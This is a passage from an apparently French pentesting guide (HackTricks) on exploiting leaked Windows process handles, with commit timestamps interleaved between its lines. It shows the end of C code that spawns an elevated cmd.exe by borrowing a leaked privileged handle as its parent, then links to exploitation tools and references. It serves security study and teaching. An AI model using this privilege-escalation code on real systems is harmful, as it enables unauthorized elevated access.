UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// Spawn elevated cmd process
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );
if (ret == FALSE) {
printf("[!] Error spawning new process: [%d]\n", GetLastError());
return -1;
}
}
Sleep(20000);
return 0;
}
```
2023-06-03 13:10:46 +00:00
## Autres outils et exemples
2022-03-21 11:02:30 +00:00
2022-04-05 22:24:52 +00:00
* [**https://github.com/lab52io/LeakedHandlesFinder**](https://github.com/lab52io/LeakedHandlesFinder)
2022-03-21 11:02:30 +00:00
2023-06-03 13:10:46 +00:00
Cet outil vous permet de surveiller les handles divulgués pour trouver ceux qui sont vulnérables et même de les exploiter automatiquement. Il dispose également d'un outil pour en divulguer un.
2022-03-21 11:02:30 +00:00
2022-04-05 22:24:52 +00:00
* [**https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles**](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles)
2022-03-21 11:02:30 +00:00
2023-06-03 13:10:46 +00:00
Un autre outil pour divulguer un handle et l'exploiter.
2022-03-21 11:02:30 +00:00
2023-06-03 13:10:46 +00:00
## Références
2022-03-21 11:02:30 +00:00
* [http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
* [https://github.com/lab52io/LeakedHandlesFinder](https://github.com/lab52io/LeakedHandlesFinder)
* [https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html](https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>